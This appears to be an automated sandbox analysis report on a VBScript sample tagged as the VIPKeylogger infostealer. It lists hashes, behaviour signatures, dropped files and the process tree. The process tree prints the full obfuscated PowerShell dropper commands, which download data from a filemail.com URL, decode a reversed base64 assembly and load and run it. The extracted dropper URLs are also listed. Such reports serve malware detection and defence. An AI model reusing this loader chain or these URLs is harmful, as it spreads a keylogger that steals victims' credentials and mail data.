Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-11-2024 02:30

General

  • Target

    76cef289abc1b016df678ab28308da2373708a45d99528346409fcb809c813a2.vbs

  • Size

    12KB

  • MD5

    8a330624d5189d9bcd491d93c29624c4

  • SHA1

    b89dd3334cd355360ae7e6f85a060dbe4de9d01d

  • SHA256

    76cef289abc1b016df678ab28308da2373708a45d99528346409fcb809c813a2

  • SHA512

    9af32c229db64bb133a39e7e3ec12dd269d971734fe2e46c61c0167696d6dc43c7ad274e7cbbcb0c41ac529a3ccdbb2a6e04ee1807cdfbe1dd3af11462016685

  • SSDEEP

    96:khBZNNgct8LOgrf8x/JIcBkiYM1z9jRFtRQLNkOAhqL5s7n1muCweU:YBZNUOgrf6/JIcBkiYM1zbuLi7Aub

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

vipkeylogger

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\76cef289abc1b016df678ab28308da2373708a45d99528346409fcb809c813a2.vbs"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3468
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\emksjAafCReiQSFZxSk.vbs"
      2⤵
      • Blocklisted process makes network request
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2476
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNoZUxMSURbMV0rJHNoRUxMSURbMTNdKydYJykgKCgnV0V3aW1hZ2VVcmwgPSBUb1JodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maScrJ2xlL2dldD9maWxla2V5PTJBYV9iV285UmV1NDV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0RycrJ3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzNXcmcGtfdicrJ2lkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MCcrJzRmIFRvUjtXRXd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQycrJ2xpZW50O1dFd2ltYWdlQnl0ZXMgPSBXRXd3ZWJDbGllbnQnKycuRG93bmxvYWREYXRhKFdFd2ltYWdlVXJsKTtXRXdpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4JysnLicrJ0dldFN0cmluZyhXRXdpbWFnZUJ5dGVzKTtXRXdzdGFydEZsYWcgPScrJyBUb1I8JysnPEJBU0U2NF9TVEFSVD4+VG9SO1dFd2VuZEZsYWcgPSBUb1I8PEJBU0U2NF9FTkQ+PlRvUjtXRXdzdGFydEluZCcrJ2V4JysnID0gV0V3aScrJ21hZ2VUZXh0LkluJysnZGV4T2YoV0V3c3RhcnRGbGFnKTtXRXcnKydlJysnbmRJbmRleCA9IFdFd2ltYWdlVGV4dC5JbmRleE9mKFdFd2VuZEZsYWcpO1dFd3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXRXdlbmRJbmRleCAtZ3QgV0V3c3RhcnRJbmRleDtXRXdzdGFydEluZGV4ICs9IFdFd3N0YXJ0RmxhZy5MZW5ndGg7V0V3YicrJ2FzZTY0TGUnKyduZ3RoID0gV0V3ZW5kSW5kZXggLSBXRXdzdGFydEluZGV4O1dFd2Jhc2U2NENvbW1hbmQnKycgPSBXRXdpbWFnZVRleCcrJ3QuJysnU3Vic3RyaW5nKFdFd3N0YXJ0SW5kZXgsIFdFd2Jhc2U2NExlbmd0aCk7V0V3YmFzZTY0UmUnKyd2ZXJzZWQgPSAtam9pbiAnKycoV0V3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHRkdyBGb3JFYWNoLU9iamVjdCB7IFdFd18gfSlbLTEuLi0oV0V3YmFzZTY0Q29tbWFuZC5MZW5ndGgpXScrJztXRXdjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0JysnU3RyaW5nKFdFd2Jhc2U2NFJldmVyc2VkKTtXRXdsb2FkZWQnKydBJysnc3NlbWJseScrJyA9IFtTJysneXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYScrJ2QoV0V3Y29tbWFuZEJ5dCcrJ2VzKTtXRXd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFRvUlZBSVRvUik7V0V3dmFpTWV0aG9kLkludm9rZShXRXdudWxsLCBAKFRvUnR4dC5kc3RlcC9wb3AvdWUucHJneGFteWdyZW5lLmdpZy8vOnB0dGhUb1IsIFRvUmRlc2F0aXZhZCcrJ29Ub1IsICcrJ1RvUmRlc2F0aXZhZG8nKydUb1IsIFRvUmRlc2F0aXZhZG9Ub1IsIFRvUmRlc2F0aScrJ3ZhZG9UJysnb1IsIFRvUjFUb1IsIFRvUmNvbG9yY3BsVG9SLCBUb1JkJysnZXNhdGl2YWRvVG9SLCBUb1JkZXNhdGl2YWRvVG9SLFRvUmRlJysnc2F0aXZhZG9Ub1IsVG9SZGVzYXRpdmFkb1RvUixUb1JkZXNhdGl2YWRvVG9SLFRvUjFUb1IsVG9SZGVzYScrJ3RpdmFkb1RvUiknKycpOycpLlJlUGxhY2UoJ3RkdycsW1NUckluZ11bQ0hBUl0xMjQpLlJlUGxhY2UoJ1RvUicsW1NUckluZ11bQ0hBUl0zOSkuUmVQbGFjZSgnV0V3JyxbU1RySW5nXVtDSEFSXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2012
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sheLLID[1]+$shELLID[13]+'X') (('WEwimageUrl = ToRhttps://1017.filemail.com/api/fi'+'le/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStG'+'rnTICfFhmTKj3LC6SQtIcOc_T35w&pk_v'+'id=fd4f614bb209c62c1730945176a090'+'4f ToR;WEwwebClient = New-Object System.Net.WebC'+'lient;WEwimageBytes = WEwwebClient'+'.DownloadData(WEwimageUrl);WEwimageText = [System.Text.Encoding]::UTF8'+'.'+'GetString(WEwimageBytes);WEwstartFlag ='+' ToR<'+'<BASE64_START>>ToR;WEwendFlag = ToR<<BASE64_END>>ToR;WEwstartInd'+'ex'+' = WEwi'+'mageText.In'+'dexOf(WEwstartFlag);WEw'+'e'+'ndIndex = WEwimageText.IndexOf(WEwendFlag);WEwstartIndex -ge 0 -and WEwendIndex -gt WEwstartIndex;WEwstartIndex += WEwstartFlag.Length;WEwb'+'ase64Le'+'ngth = WEwendIndex - WEwstartIndex;WEwbase64Command'+' = WEwimageTex'+'t.'+'Substring(WEwstartIndex, WEwbase64Length);WEwbase64Re'+'versed = -join '+'(WEwbase64Command.ToCharArray() tdw ForEach-Object { WEw_ })[-1..-(WEwbase64Command.Length)]'+';WEwcommandBytes = [System.Convert]::FromBase64'+'String(WEwbase64Reversed);WEwloaded'+'A'+'ssembly'+' = [S'+'ystem.Reflection.Assembly]::Loa'+'d(WEwcommandByt'+'es);WEwvaiMethod = [dnlib.IO.Home].GetMethod(ToRVAIToR);WEwvaiMethod.Invoke(WEwnull, @(ToRtxt.dstep/pop/ue.prgxamygrene.gig//:ptthToR, ToRdesativad'+'oToR, '+'ToRdesativado'+'ToR, ToRdesativadoToR, ToRdesati'+'vadoT'+'oR, ToR1ToR, ToRcolorcplToR, ToRd'+'esativadoToR, ToRdesativadoToR,ToRde'+'sativadoToR,ToRdesativadoToR,ToRdesativadoToR,ToR1ToR,ToRdesa'+'tivadoToR)'+');').RePlace('tdw',[STrIng][CHAR]124).RePlace('ToR',[STrIng][CHAR]39).RePlace('WEw',[STrIng][CHAR]36) )"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1448
          • C:\Windows\SysWOW64\colorcpl.exe
            "C:\Windows\SysWOW64\colorcpl.exe"
            5⤵
            • Accesses Microsoft Outlook profiles
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • outlook_office_path
            • outlook_win_path
            PID:2480

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    235a8eb126d835efb2e253459ab8b089

    SHA1

    293fbf68e6726a5a230c3a42624c01899e35a89f

    SHA256

    5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686

    SHA512

    a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pypfg2zy.0cw.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\emksjAafCReiQSFZxSk.vbs

    Filesize

    1KB

    MD5

    c1ab9e3c7a5a70259e486e1b35e791dd

    SHA1

    f0f6ebff9ebfac13bf995bccf8193daf58827652

    SHA256

    6cc7e3be7d1abd44b8cd67b15cbc5c86ee366edc63da01e0b1b7544982551738

    SHA512

    9d705558cd936e603ae1db6860fa1f2a7337acf8df787ca1acb9a32c96d0345834b705aac1c503215127fefe01057bd789be276cc2a377dc29c856e0b78fd9d2

  • memory/1448-23-0x000001AB71980000-0x000001AB71AD8000-memory.dmp

    Filesize

    1.3MB

  • memory/2012-13-0x0000023B23150000-0x0000023B23172000-memory.dmp

    Filesize

    136KB

  • memory/2480-31-0x00000000057E0000-0x0000000005830000-memory.dmp

    Filesize

    320KB

  • memory/2480-27-0x0000000000400000-0x0000000000437000-memory.dmp

    Filesize

    220KB

  • memory/2480-24-0x0000000000400000-0x0000000000437000-memory.dmp

    Filesize

    220KB

  • memory/2480-32-0x0000000005E20000-0x00000000063C4000-memory.dmp

    Filesize

    5.6MB

  • memory/2480-33-0x0000000005870000-0x00000000058BE000-memory.dmp

    Filesize

    312KB

  • memory/2480-34-0x0000000005960000-0x00000000059FC000-memory.dmp

    Filesize

    624KB

  • memory/2480-35-0x0000000006BA0000-0x0000000006D62000-memory.dmp

    Filesize

    1.8MB

  • memory/2480-36-0x0000000006A30000-0x0000000006A80000-memory.dmp

    Filesize

    320KB

  • memory/2480-37-0x00000000072A0000-0x00000000077CC000-memory.dmp

    Filesize

    5.2MB

  • memory/2480-38-0x0000000007090000-0x0000000007122000-memory.dmp

    Filesize

    584KB

  • memory/2480-39-0x0000000006E30000-0x0000000006E3A000-memory.dmp

    Filesize

    40KB